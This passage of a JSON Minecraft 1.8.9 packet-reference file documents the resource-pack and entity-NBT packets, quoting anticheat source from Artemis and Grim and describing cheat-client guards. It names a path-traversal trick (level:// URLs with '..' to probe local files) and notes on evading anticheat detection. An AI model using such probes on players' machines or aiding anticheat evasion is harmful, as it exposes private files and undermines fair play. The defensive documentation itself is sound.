      "anti_cheat_notes": "Invisible to anti-cheats and servers: the reply is a legitimate FAILED_DOWNLOAD, identical to what vanilla produces for a bad pack. The mixin runs before any module code, so the guard cannot be toggled off.",
      "variations": "Rise implements the same checks as a SecurityFeature outside the module system; Tenacity inside AntiExploit with a chat notification; LiquidSense at the mixin layer, before the packet reaches any handler logic."
     }
    ],
    "general_hooks": "Receive-path filtering: Rise 6.x runs it as a SecurityFeature over the incoming packet stream, Tenacity hooks PacketReceiveEvent, and LiquidSense Dev cancels the vanilla handler from a mixin. All three reply C19PacketResourcePackStatus FAILED_DOWNLOAD instead of dropping silently.",
    "client_variations": "Rise implements it outside the module system (SecurityFeature with a handle() contract); Tenacity as a normal module with a chat notification; LiquidSense Dev at the mixin layer with a logger error. All three reject the same URL classes: non-http(s)/level schemes and level:// paths with .. or a non-/resources.zip suffix.",
    "related": [
     "C19PacketResourcePackStatus",
     "S3FPacketCustomPayload"
    ],
    "anticheat": {
     "overview": "Artemis is the only anticheat with logic on the send side of the resource-pack flow. Its PingSpoofProtocol pushes a fake S48 offer whose URL encodes a keepalive id and validates the client's C19 FAILED_DOWNLOAD reply, and ResourcePackTickHandler uses a level:// offer with a numeric hash as a tick-confirmation channel. These are the OUT-side arms of the same two checks documented on the C19PacketResourcePackStatus page. FlopAC's WrappedOutResourcePackSend and the Negativity RESOURCE_PACK_SEND constant are wrappers and registrations only.",
     "checks": [
      {
       "name": "PingSpoofProtocol (Artemis)",
       "found_in": [
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Detect ping spoofing with a resource-pack offer as the probe: the server sends S48 with an id-encoded URL and verifies the client's C19 answer.",
       "how_it_works": "On 1.9 and older servers the check builds a GPacketPlayServerResourcePackSend whose URL is a generated numeric id (line 175) and pushes it to the client. It then expects the C19 response: FAILED_DOWNLOAD with a matching numeric URL, followed by the next keepalive echo. Missing, out-of-order or non-numeric responses log violations. On 1.10+ it switches to fake teleports because the packet's hash field was removed there.",
       "detects": "Ping spoofers that suppress or reorder keepalives, and clients that answer resource-pack offers they were never sent.",
       "detailed_code": "// ===== FILE: artemisac-artemis-minecraft-anticheat, ac.artemis.checks.enterprise/src/main/java/ac/artemis/checks/enterprise/spoof/PingSpoofProtocol.java =====\npackage ac.artemis.checks.enterprise.spoof;\n\nimport ac.artemis.core.v4.check.ArtemisCheck;\nimport ac.artemis.core.v4.check.FastProcessHandler;\nimport ac.artemis.core.v4.check.PacketHandler;\nimport ac.artemis.core.v4.check.annotations.Check;\nimport ac.artemis.anticheat.api.check.type.Type;\nimport ac.artemis.core.v4.check.exempt.type.ExemptType;\nimport ac.artemis.core.v4.check.settings.CheckInformation;\nimport ac.artemis.core.v4.data.PlayerData;\nimport ac.artemis.core.v4.utils.chat.StringUtil;\nimport ac.artemis.packet.PacketManager;\nimport cc.ghast.packet.PacketAPI;\nimport ac.artemis.packet.protocol.ProtocolVersion;\nimport cc.ghast.packet.wrapper.mc.PlayerEnums;\nimport ac.artemis.packet.spigot.wrappers.GPacket;\nimport cc.ghast.packet.wrapper.packet.play.client.GPacketPlayClientCustomPayload;\nimport cc.ghast.packet.wrapper.packet.play.client.GPacketPlayClientKeepAlive;\nimport cc.ghast.packet.wrapper.packet.play.client.GPacketPlayClientResourcePackStatus;\nimport cc.ghast.packet.wrapper.packet.play.server.GPacketPlayServerKeepAlive;\nimport cc.ghast.packet.wrapper.packet.play.server.GPacketPlayServerResourcePackSend;\nimport java.util.Deque;\nimport java.util.LinkedList;\n\n/**\n * @author Ghast\n * @since 25/03/2021\n * Artemis © 2021\n *\n * This is most effectively the best antibot protection I've got on Artemis. By combining the\n * concept of checking a random resource pack link and the usage of keep alives, we can pretty\n * much capture whether or not a player is a bot or has a broken client misplacing keep-alives/\n * resource packs.\n */\n@Check(type = Type.PINGSPOOF, var = \"Protocol\")\npublic class PingSpoofProtocol extends ArtemisCheck implements PacketHandler, FastProcessHandler {\n    public PingSpoofProtocol(PlayerData data, CheckInformation info) {\n        super(data, info);\n    }\n\n    private final Deque<Long> ids = new LinkedList<>();\n    private Long next;\n\n    @Override\n    public void handle(GPacket packet) {\n        final boolean exempt = this.isExempt(ExemptType.JOIN);\n\n        /*\n         * They removed the hash :(. We can't use it to identify packet order. How unlucky. This would mean\n         * this would false on laggy and latter clients; We can instead from 1.9+ use fake teleports.\n         */\n        if (data.getVersion().isOrAbove(ProtocolVersion.V1_10))\n            return;\n\n        /*\n         * Lets handle resource pack status. Since we flush the channel before, theoretically this should be processed\n         * beforehand?\n         */\n        if (packet instanceof GPacketPlayClientResourcePackStatus) {\n            final GPacketPlayClientResourcePackStatus sts = (GPacketPlayClientResourcePackStatus) packet;\n            /*\n             * Lets not interfere with real resource pack requests alright?\n             */\n            if (!StringUtil.isNumeric(sts.getUrl().get())) {\n                this.debug(\"Invalid id\");\n                return;\n            }\n\n            /*\n             * Theoretically speaking, the client can ONLY respond with FAILED_DOWNLOAD. Anything other\n             * than that is completely invalid. Hence we can just skip over it.\n             */\n            if (!sts.getStatus().equals(PlayerEnums.ResourcePackStatus.FAILED_DOWNLOAD) && !exempt) {\n                this.log(\"Successfully downloaded - Invalid\");\n                this.debug(\"[FLAG] Successfully downloaded - Invalid\");\n                return;\n            }\n\n            /*\n             * Both resource pack and keep alive packets are async to the threading. Meaning they aren't ticked.\n             * This means these are synchronous but not correlated to other packets. Perfect for a pingspoof check.\n             * If no response is received, it's invalid\n             */\n            if (ids.isEmpty() && !exempt) {\n                this.log(\"Packet coming from idk where\");\n                this.debug(\"[FLAG] Packet coming from idk where\");\n                return;\n            }\n\n            /*\n             * Alrighty lets get decoding.\n             */\n            final long var = Long.decode(sts.getUrl().get());\n\n            /*\n             * No clue where tf this keep alive coming from hommie, but it defo ain't ours, so it's a bad\n             * packet.\n             */\n            if (!ids.contains(var) && !exempt) {\n                this.log(\"Keep alive does not exist bruh\");\n                this.debug(\"[FLAG] Keep alive does not exist bruh\");\n                return;\n            }\n\n            long id = ids.poll();\n\n            /*\n             * Well this is awkward. We're receiving the wrong... packet id?\n             * Hence, this is deemed as a bad packet.\n             */\n            if (id != var && ids.contains(var)) {\n\n                while (id != var && !ids.isEmpty()) {\n                    id = ids.poll();\n\n                    if (exempt)\n                        continue;\n\n                    this.log(\"Invalid identifier, polling queue...\");\n                }\n            }\n\n            /*\n             * Nice alright, valid keep alive, lets mark the next id to receive.\n             */\n            else {\n                next = var;\n                ids.remove(var);\n\n                this.debug(\"resource=\" + var);\n            }\n        }\n\n        /*\n         * Since the keep alive flushed out a resource pack status packet, the next packet received should be the\n         * resource pack denial then only the keep alive.\n         */\n        else if (packet instanceof GPacketPlayClientKeepAlive) {\n            final GPacketPlayClientKeepAlive ka = (GPacketPlayClientKeepAlive) packet;\n\n            if (next == null) {\n                if (!exempt)\n                    this.log(\"No confirmation\");\n                return;\n            }\n\n            if (next == ka.getId()) {\n                this.debug(\"ka=\" + ka.getId());\n            } else if (!exempt) {\n                this.log(\"Packet order 0x1\");\n                this.debug(\"[FLAG] Packet order 0x1\");\n            }\n        }\n    }\n\n    @Override\n    public void fastHandle(GPacket packet) {\n        /*\n         * They removed the hash :(. We can't use it to identify packet order. How unlucky. This would mean\n         * this would false on laggy and latter clients; We can instead from 1.9+ use fake teleports.\n         */\n        if (data.getVersion().isOrAbove(ProtocolVersion.V1_10))\n            return;\n\n        /*\n         * Only handle server keep alives because uhhh\n         */\n        if (packet instanceof GPacketPlayServerKeepAlive) {\n            final GPacketPlayServerKeepAlive ka = (GPacketPlayServerKeepAlive) packet;\n\n            this.ids.add(ka.getId());\n            final String encoded = Long.toString(ka.getId());\n            PacketManager.getApi().sendPacket(\n                    data.getPlayer().getUniqueId(),\n                    new GPacketPlayServerResourcePackSend(\n                            \"level://\" + Math.random() + \"/resources.zip\", encoded\n                    )\n            );\n        }\n    }\n}\n// NOTE (AI): The S48 side is the probe construction at line 175 (GPacketPlayServerResourcePackSend with an id-encoded URL); the C19 validation in the same file is documented on the C19PacketResourcePackStatus page.",
       "code_source": "artemisac-artemis-minecraft-anticheat, ac.artemis.checks.enterprise/src/main/java/ac/artemis/checks/enterprise/spoof/PingSpoofProtocol.java",
       "variations": "ResourcePackTickHandler is the non-flagging sibling that reuses the probe as a tick counter; FlopAC and Negativity only register the packet."
      },
      {
       "name": "ResourcePackTickHandler (Artemis)",
       "found_in": [
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Use a level:// resource-pack offer as a tick-confirmation channel on 1.8 servers.",
       "how_it_works": "On 1.8.9 and below it sends a GPacketPlayServerResourcePackSend whose hash encodes a numeric tick id (line 57), then accepts only C19 FAILED_DOWNLOAD replies whose URL is numeric and contains the player name. The parsed id is stored as the player's resourcePackTick and feeds the tick-confirmation infrastructure other Artemis checks use to measure connection state.",
       "detects": "Nothing directly. It feeds connection-state measurement rather than flagging a behavior.",
       "detailed_code": "// ===== FILE: artemisac-artemis-minecraft-anticheat, ac.artemis.core/src/main/java/ac/artemis/core/v5/features/tick/impl/ResourcePackTickHandler.java =====\npackage ac.artemis.core.v5.features.tick.impl;\n\nimport ac.artemis.core.v4.data.PlayerData;\nimport ac.artemis.core.v4.utils.chat.StringUtil;\nimport ac.artemis.packet.PacketManager;\nimport cc.ghast.packet.PacketAPI;\nimport ac.artemis.packet.protocol.ProtocolVersion;\nimport cc.ghast.packet.wrapper.mc.PlayerEnums;\nimport ac.artemis.packet.spigot.wrappers.GPacket;\nimport cc.ghast.packet.wrapper.packet.play.client.GPacketPlayClientResourcePackStatus;\nimport cc.ghast.packet.wrapper.packet.play.server.GPacketPlayServerResourcePackSend;\n\npublic class ResourcePackTickHandler extends AbstractTickHandler<GPacketPlayClientResourcePackStatus> {\n    public ResourcePackTickHandler(final PlayerData data) {\n        super(data);\n    }\n\n    @Override\n    public boolean canReceive() {\n        return data.getVersion().isOrBelow(ProtocolVersion.V1_8_9);\n    }\n\n    @Override\n    public boolean isPacket(final GPacket packet) {\n        if (!(packet instanceof GPacketPlayClientResourcePackStatus))\n        return false;\n\n        final GPacketPlayClientResourcePackStatus wrapper = (GPacketPlayClientResourcePackStatus) packet;\n        /*\n         * Theoretically speaking, the client can ONLY respond with FAILED_DOWNLOAD. Anything other\n         * than that is completely invalid. Hence we can just skip over it.\n         */\n        if (!wrapper.getStatus().equals(PlayerEnums.ResourcePackStatus.FAILED_DOWNLOAD))\n            return false;\n\n        if (!wrapper.getUrl().isPresent())\n            return false;\n\n        if (!wrapper.getUrl().get().contains(data.getPlayer().getName()))\n            return false;\n\n        return StringUtil.isNumeric(wrapper.getUrl().get());\n    }\n\n    @Override\n    public short getPacketId(final GPacket packet) {\n        return Short.parseShort(((GPacketPlayClientResourcePackStatus) packet).getUrl().get());\n    }\n\n    @Override\n    public void onConsume(final GPacketPlayClientResourcePackStatus packet) {\n        data.connection.resourcePackTick = Integer.parseInt(packet.getUrl().get());\n    }\n\n    @Override\n    public void onPush(final boolean flush, final short id) {\n        final GPacket packet = new GPacketPlayServerResourcePackSend(\n                \"level://\" + data.getPlayer().getName() + \"_\" + Math.random() + \"/resources.zip\",\n                Short.toString(id)\n        );\n        PacketManager.getApi().sendPacket(data.getPlayer().getUniqueId(), packet);\n    }\n}\n// NOTE (AI): The S48 side is the probe send in onPush (lines 56-62); the C19 validation is the isPacket gate. The same mechanism is documented from the C19 side on the C19PacketResourcePackStatus page. ConnectionHolder registers this handler (line 26, commented out in the clone).",
       "code_source": "artemisac-artemis-minecraft-anticheat, ac.artemis.core/src/main/java/ac/artemis/core/v5/features/tick/impl/ResourcePackTickHandler.java",
       "variations": "PingSpoofProtocol is the flagging version of the same mechanism; FlopAC WrappedOutResourcePackSend is a plain wrapper over the packet fields."
      }
     ]
    }
   },
   "wiki_notes": [
    "Two strings: resource pack URL (32767 cap) and SHA-1 hash (40-char cap). Client answers with C19 status: accepted, declined, failed download, loaded.",
    "The level:// scheme maps into the local saves folder, so malicious URLs with .. segments can probe local files; hash is ignored for level packs.",
    "MCP 1.8.9 S48PacketResourcePackSend implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleResourcePack; wire serde is readPacketData/writePacketData via readStringFromBuffer.",
    "1.8.9 callers: EntityPlayerMP.loadResourcePack sends new S48PacketResourcePackSend (line 1192): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/player/EntityPlayerMP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S48PacketResourcePackSend/",
   "mcp_path": "net/minecraft/network/play/server/S48PacketResourcePackSend.java",
   "group": "play-client",
   "logic_classes": [
    "EntityPlayerMP"
   ]
  },
  {
   "id": "S49PacketUpdateEntityNBT",
   "hex": "0x49",
   "dec": 73,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Update Entity NBT",
   "desc": "Updates the NBT data of an entity (used for command block minecarts, spawned entities with custom NBT).",
   "tags": [
    "entity",
    "nbt"
   ],
   "fields": [
    {
     "name": "entityId",
     "type": "VarInt",
     "desc": "Entity ID"
    },
    {
     "name": "tagCompound",
     "type": "NBTTagCompound",
     "desc": "Updated NBT data"
    }
   ],
   "encoding": [
    [
     "Entity ID",
     "VarInt",
     ""
    ],
    [
     "NBT Data",
     "NBT Tag",
     ""
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleUpdateEntityNBT()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "The server pushes a full NBTTagCompound onto a specific entity: an entity id as VarInt followed by a compound NBT tag. EntityTrackerEntry sends it when a tracked entity holds NBT the client must know (command block minecarts, boats with custom names, armor stands) and a new player starts tracking it. Clientbound-only, PLAY state."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleUpdateEntityNBT looks up the entity by id and calls readFromNBT with the compound; unknown ids are ignored. Server side, the send is triggered inside EntityTrackerEntry's update loop when the tracked entity's NBT differs for the tracking player, typically on track start. The client never requests this packet."
     },
     {
      "h": "Why clients touch it",
      "p": "No module in the 8 clients intercepts S49; modules is empty here because the corpus contains no module file for it. The only non-vanilla reference is the Rise 6.1.30 and 6.2.4 NetworkAPI script registry. The command-block NBT exploit lore lives server-side: a client cannot read a command block's NBT through this packet, because the server only pushes NBT it already chose to send. It is a one-way data push with no client-visible lever."
     },
     {
      "h": "Exploit surface",
      "p": "The compound is decoded client-side by the NBT reader; a hostile compound with pathological nesting or huge size is the only theoretical surface, and no client in the corpus defends against it. There is no spoofing, replay or timing angle for modules: the entity id must match a known entity and the payload is applied verbatim."
     }
    ],
    "overview": "A server-pushed entity NBT update with no module coverage: modules is empty because the corpus has no module file for S49. The only non-vanilla hit is the Rise 6.x NetworkAPI script registry; the command-block NBT exploit is server-side, and the packet itself offers clients nothing to hook.",
    "server_handling": "EntityTrackerEntry sends S49 when the tracked entity's NBT differs for the tracking player, normally at track start (the entry's sendMetadata loop). The client applies the compound via readFromNBT on the resolved entity. No reply, no ownership validation, no client-triggered path.",
    "protocol_notes": "A VarInt entity id followed by a full NBT compound written through writeTag. Sizes are unbounded by the protocol beyond the packet limit; command block minecart compounds carry the command string, which is the data of interest in the exploit lore. The packet id 0x49 is clientbound-only.",
    "anticheat_landscape": "Anti-cheats ignore this packet entirely, and clients cannot abuse it because the server controls both the trigger and the payload. The only measurable property is packet size, which is server-controlled.",
    "modules": [],
    "general_hooks": "Rise 6.1.30 and 6.2.4 expose S49 to scripts through NetworkAPI's packet registry; no event bus in any of the 8 clients has a module handler for it.",
    "client_variations": "Only Rise 6.x differs from vanilla: its NetworkAPI packet list includes S49PacketUpdateEntityNBT.class. All other clients carry the unmodified NetHandlerPlayClient handler.",
    "related": [
     "S0CPacketSpawnPlayer",
     "S0EPacketSpawnObject"
    ],
    "anticheat": {
     "overview": "Server-side anticheats treat this clientbound packet as plumbing: the server pushes a full NBT compound onto a tracked entity, and no movement or combat check keys off it. The corpus shows three anticheats that register or rewrite it (Intave rewrites the entity id inside it, Artemis maps it into its packet library, Negativity lists it in its packet registry) plus Grim's NBT validation logic, which targets client-sent item NBT in the opposite direction. The packet itself carries no client-controlled data, so there is nothing to flag.",
     "checks": [
      {
       "name": "NBT book exploit validation (ExploitB)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Validates the NBT attached to client-sent book items and flags compounds the client could not have produced legitimately. The only NBT-content check in the corpus.",
       "how_it_works": "Listens for item-slot and book-editing packets, diffs the new book compound against the old one the anticheat tracks, and flags with literal codes: BOOK_NO_NBT when a signed book carries no compound, BOOK_MODIFIED_NBT when unrelated tags change, plus too-many-pages and page-length counters. It faces the client-to-server direction; the S49 server push is never validated because the server authored it.",
       "detects": "NBT-fabrication exploits on written books, including the classic command-block NBT injection via book tags that older clients allowed.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/exploit/ExploitB.java =====\npackage ac.grim.grimac.checks.impl.exploit;\n\nimport ac.grim.grimac.api.storage.verbose.Verbose;\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.CheckData;\nimport ac.grim.grimac.checks.impl.verbose.VerboseCodecs;\nimport ac.grim.grimac.checks.type.PacketReceiveListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.payload.PayloadBookEdit;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.component.ComponentTypes;\nimport com.github.retrooper.packetevents.protocol.item.ItemStack;\nimport com.github.retrooper.packetevents.protocol.item.type.ItemType;\nimport com.github.retrooper.packetevents.protocol.item.type.ItemTypes;\nimport com.github.retrooper.packetevents.protocol.nbt.NBT;\nimport com.github.retrooper.packetevents.protocol.nbt.NBTCompound;\nimport com.github.retrooper.packetevents.protocol.nbt.NBTList;\nimport com.github.retrooper.packetevents.protocol.nbt.NBTString;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.protocol.player.InteractionHand;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientEditBook;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPlayerBlockPlacement;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPluginMessage;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientUseItem;\nimport com.google.gson.JsonSyntaxException;\nimport com.google.gson.stream.JsonReader;\nimport com.google.gson.stream.JsonToken;\nimport org.jetbrains.annotations.NotNull;\nimport org.jetbrains.annotations.Nullable;\n\nimport java.io.IOException;\nimport java.io.StringReader;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\n@CheckData(name = \"ExploitB\", stableKey = \"grim.exploit.invalid_book_edit\", description = \"Invalid book edit\")\npublic class ExploitB extends Check implements PacketReceiveListener {\n    private static final int BOOK_EXPECTED_SLOT = 0;\n    private static final int BOOK_EXPECTED_TYPE = 1;\n    private static final int BOOK_EXPECTED_AMOUNT = 2;\n    private static final int BOOK_EXPECTED_META = 3;\n    private static final int BOOK_NO_NBT = 4;\n    private static final int BOOK_NO_PAGES = 5;\n    private static final int BOOK_NO_TITLE = 6;\n    private static final int BOOK_EXPECTED_AUTHOR = 7;\n    private static final int BOOK_INVALID_PAGE = 8;\n    private static final int BOOK_MODIFIED_NBT = 9;\n    private static final int BOOK_TITLE_TOO_LONG = 10;\n    private static final int BOOK_INVALID_TITLE = 11;\n    private static final int BOOK_NOT_EDITING = 12;\n    private static final int BOOK_TOO_MANY_PAGES = 13;\n    private static final int BOOK_PAGE_TOO_LONG = 14;\n    private static final int BOOK_EMPTY_LAST_PAGE = 15;\n\n    // One shape per BOOK_* kind; shape index == constant value.\n    private static final Verbose V = Verbose\n            .of(\"expectedSlot={sint}, slot={sint}\")      // BOOK_EXPECTED_SLOT\n            .or(\"expectedType={item}, type={item}\")      // BOOK_EXPECTED_TYPE\n            .or(\"expectedAmount={sint}, amount={sint}\")  // BOOK_EXPECTED_AMOUNT\n            .or(\"expectedMeta={sint}, meta={sint}\")      // BOOK_EXPECTED_META\n            .or(\"no nbt\")                                // BOOK_NO_NBT\n            .or(\"no pages\")                              // BOOK_NO_PAGES\n            .or(\"no title\")                              // BOOK_NO_TITLE\n            .or(\"expectedAuthor={str}, author={str}\")    // BOOK_EXPECTED_AUTHOR\n            .or(\"invalid page\")                          // BOOK_INVALID_PAGE\n            .or(\"modified nbt\")                          // BOOK_MODIFIED_NBT\n            .or(\"title too long\")                        // BOOK_TITLE_TOO_LONG\n            .or(\"invalid title '{str}'\")                 // BOOK_INVALID_TITLE\n            .or(\"not editing book\")                      // BOOK_NOT_EDITING\n            .or(\"too many pages\")                        // BOOK_TOO_MANY_PAGES\n            .or(\"page too long\")                         // BOOK_PAGE_TOO_LONG\n            .or(\"empty last page\");                      // BOOK_EMPTY_LAST_PAGE\n\n    private static final int UNUSED_TYPE = -1;\n    private static final boolean IS_1_8 = PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_8_8);\n    private ItemStack oldBook;\n    private InteractionHand hand;\n\n    public ExploitB(GrimPlayer player) {\n        super(player);\n    }\n\n    @Override\n    public void onPacketReceive(PacketReceiveEvent event) {\n        if (IS_1_8 ? event.getPacketType() == PacketType.Play.Client.PLAYER_BLOCK_PLACEMENT\n                && new WrapperPlayClientPlayerBlockPlacement(event).getFaceId() == 255\n                : event.getPacketType() == PacketType.Play.Client.USE_ITEM) {\n            hand = IS_1_8 ? InteractionHand.MAIN_HAND : new WrapperPlayClientUseItem(event).getHand();\n            oldBook = player.inventory.getItemInHand(hand).copy();\n        }\n\n        if (event.getPacketType() == PacketType.Play.Client.EDIT_BOOK) {\n            checkEditBook(new WrapperPlayClientEditBook(event), event);\n            oldBook = null;\n        }\n\n        // 1.13-\n        if (event.getPacketType() == PacketType.Play.Client.PLUGIN_MESSAGE && PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_13)) {\n            WrapperPlayClientPluginMessage wrapper = new WrapperPlayClientPluginMessage(event);\n\n            boolean signing;\n            switch (wrapper.getChannelName()) {\n                case \"MC|BSign\" -> signing = true;\n                case \"MC|BEdit\" -> signing = false;\n                default -> {\n                    return;\n                }\n            }\n\n            ItemStack newBook = new PayloadBookEdit(wrapper.getData()).itemStack();\n            checkItemStack(newBook, signing, event);\n            oldBook = null;\n        }\n    }\n\n    private void checkEditBook(WrapperPlayClientEditBook wrapper, PacketReceiveEvent event) {\n        if (checkEditingBook(event)) return;\n\n        int expectedSlot = hand == InteractionHand.OFF_HAND ? 40 : player.packetStateData.lastSlotSelected;\n        int slot = wrapper.getSlot();\n        if (slot != expectedSlot) {\n            flagExpectedSlot(event, expectedSlot, slot);\n            return;\n        }\n\n        if (wrapper.getSigning() == null) { // 1.17+\n            if (wrapper.getTitle() != null && checkTitle(wrapper.getTitle(), event)) return;\n\n            List<String> pages = wrapper.getPages();\n            if (pages.size() > 1 && checkEmptyLastPage(pages.get(pages.size() - 1), event)) return;\n            if (checkTooManyPages(pages.size(), event)) return;\n            for (String page : pages) {\n                if (checkPage(page, event)) return;\n            }\n        } else { // 1.13 - 1.16.5\n            checkItemStack(wrapper.getItemStack(), wrapper.getSigning(), event);\n        }\n    }\n\n    private void checkItemStack(ItemStack newBook, boolean signing, PacketReceiveEvent event) {\n        if (checkEditingBook(event)) return;\n\n        ItemType expectedType = signing && IS_1_8 ? ItemTypes.WRITTEN_BOOK : ItemTypes.WRITABLE_BOOK;\n        if (!newBook.is(expectedType)) {\n            flagExpectedType(event, expectedType, newBook.getType());\n            return;\n        }\n\n        if (newBook.getAmount() != oldBook.getAmount()) {\n            flagExpectedAmount(event, oldBook.getAmount(), newBook.getAmount());\n            return;\n        }\n\n        if (newBook.getLegacyData() != oldBook.getLegacyData()) {\n            flagExpectedMeta(event, oldBook.getLegacyData(), newBook.getLegacyData());\n            return;\n        }\n\n        NBTCompound newBookNBT = newBook.getNBT();\n        if (newBookNBT == null) {\n            flagLiteral(event, BOOK_NO_NBT);\n            return;\n        }\n\n        NBTList<@NotNull NBTString> newPagesNBT = newBookNBT.getStringListTagOrNull(\"pages\");\n        if (newPagesNBT == null) {\n            flagLiteral(event, BOOK_NO_PAGES);\n            return;\n        }\n\n        if (checkTooManyPages(newPagesNBT.size(), event)) return;\n\n        if (signing) {\n            String title = newBookNBT.getStringTagValueOrNull(\"title\");\n            if (title == null) {\n                flagLiteral(event, BOOK_NO_TITLE);\n                return;\n            }\n\n            if (checkTitle(title, event)) return;\n\n            String author = newBookNBT.getStringTagValueOrNull(\"author\");\n            if (!player.getName().equals(author)) {\n                flagExpectedAuthor(event, player.getName(), author == null ? \"null\" : author);\n                return;\n            }\n        }\n\n        String last = null;\n        for (NBTString string : newPagesNBT.getTags()) {\n            if (IS_1_8 && signing) {\n                try {\n                    JsonReader reader = new JsonReader(new StringReader(string.getValue()));\n                    if (reader.peek() != JsonToken.BEGIN_OBJECT) throw new JsonSyntaxException(\"\");\n                    reader.beginObject();\n                    if (reader.peek() != JsonToken.NAME || !reader.nextName().equals(\"text\")\n                            || reader.peek() != JsonToken.STRING) throw new JsonSyntaxException(\"\");\n                    last = reader.nextString();\n                    if (reader.peek() != JsonToken.END_OBJECT) throw new JsonSyntaxException(\"\");\n                } catch (JsonSyntaxException e) {\n                    flagLiteral(event, BOOK_INVALID_PAGE);\n                    return;\n                } catch (IOException e) {\n                    throw new RuntimeException(e);\n                }\n            } else {\n                last = string.getValue();\n            }\n\n            if (checkPage(last, event)) return;\n        }\n\n        if (last != null && checkEmptyLastPage(last, event)) {\n            return;\n        }\n\n        Set<Map.Entry<String, NBT>> newNBT = newBookNBT.getTags().entrySet();\n        HashMap<String, NBT> oldNBT = oldBook.getNBT() == null ? new HashMap<>() : new HashMap<>(oldBook.getNBT().getTags());\n        oldNBT.remove(\"pages\");\n        oldNBT.remove(\"title\");\n        oldNBT.remove(\"author\");\n        for (var entry : newNBT) {\n            if (!entry.getKey().equals(\"pages\") && !entry.getKey().equals(\"title\") && !entry.getKey().equals(\"author\")) {\n                NBT nbt = oldNBT.remove(entry.getKey());\n                if (nbt == null || !nbt.equals(entry.getValue())) {\n                    flagLiteral(event, BOOK_MODIFIED_NBT);\n                    return;\n                }\n            }\n        }\n\n        if (!oldNBT.isEmpty()) {\n            flagLiteral(event, BOOK_MODIFIED_NBT);\n        }\n    }\n\n    private boolean checkTitle(@NotNull String title, PacketReceiveEvent event) {\n        if (title.length() > (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_16) ? 15 : 16)) {\n            flagLiteral(event, BOOK_TITLE_TOO_LONG);\n            return true;\n        } else if (title.isEmpty() || !title.trim().equals(title) || containsInvalidCharacters(title, false)) {\n            flagInvalidTitle(event, title);\n            return true;\n        }\n\n        return false;\n    }\n\n    private boolean checkEditingBook(PacketReceiveEvent event) {\n        if (oldBook == null || !oldBook.is(ItemTypes.WRITABLE_BOOK)) {\n            flagLiteral(event, BOOK_NOT_EDITING);\n            return true;\n        }\n        return false;\n    }\n\n    private boolean checkTooManyPages(int pages, PacketReceiveEvent event) {\n        NBTList<@NotNull NBTString> oldPagesNBT;\n        int oldPages = oldBook.getVersion().isNewerThanOrEquals(ClientVersion.V_1_20_5)\n                ? oldBook.getComponent(ComponentTypes.WRITABLE_BOOK_CONTENT).map(content -> content.getPages().size()).orElse(0)\n                : oldBook.getNBT() != null && (oldPagesNBT = oldBook.getNBT().getStringListTagOrNull(\"pages\")) != null\n                ? oldPagesNBT.size() : 0;\n\n        if (pages > oldPages && pages > (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_14) ? 100 : 50)) {\n            flagLiteral(event, BOOK_TOO_MANY_PAGES);\n            return true;\n        }\n\n        return false;\n    }\n\n    private boolean checkPage(String page, PacketReceiveEvent event) {\n        if (page.length() > (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_14) ? 1023 : 256)) {\n            flagLiteral(event, BOOK_PAGE_TOO_LONG);\n            return true;\n        }\n\n        // commented out because existing characters are not considered\n//        if (containsInvalidCharacters(page, true)) {\n//            if (flag(\"invalid page characters\") && shouldModifyPackets()) {\n//                event.setCancelled(true);\n//                player.onPacketCancel();\n//            }\n//            return true;\n//        }\n\n        return false;\n    }\n\n    private boolean checkEmptyLastPage(String page, PacketReceiveEvent event) {\n        if (page.isEmpty()) {\n            flagLiteral(event, BOOK_EMPTY_LAST_PAGE);\n            return true;\n        }\n\n        return false;\n    }\n\n    private void flagExpectedSlot(PacketReceiveEvent event, int expectedSlot, int slot) {\n        flagBookEdit(event, V.write(verbose(), BOOK_EXPECTED_SLOT).sint(expectedSlot).sint(slot));\n    }\n\n    private void flagExpectedType(PacketReceiveEvent event, @NotNull ItemType expectedType, @Nullable ItemType type) {\n        flagBookEdit(event, V.write(verbose(), BOOK_EXPECTED_TYPE).sint(typeId(expectedType)).sint(typeId(type)));\n    }\n\n    private void flagExpectedAmount(PacketReceiveEvent event, int expectedAmount, int amount) {\n        flagBookEdit(event, V.write(verbose(), BOOK_EXPECTED_AMOUNT).sint(expectedAmount).sint(amount));\n    }\n\n    private void flagExpectedMeta(PacketReceiveEvent event, int expectedMeta, int meta) {\n        flagBookEdit(event, V.write(verbose(), BOOK_EXPECTED_META).sint(expectedMeta).sint(meta));\n    }\n\n    private void flagExpectedAuthor(PacketReceiveEvent event, @NotNull String expectedAuthor, @NotNull String author) {\n        flagBookEdit(event, V.write(verbose(), 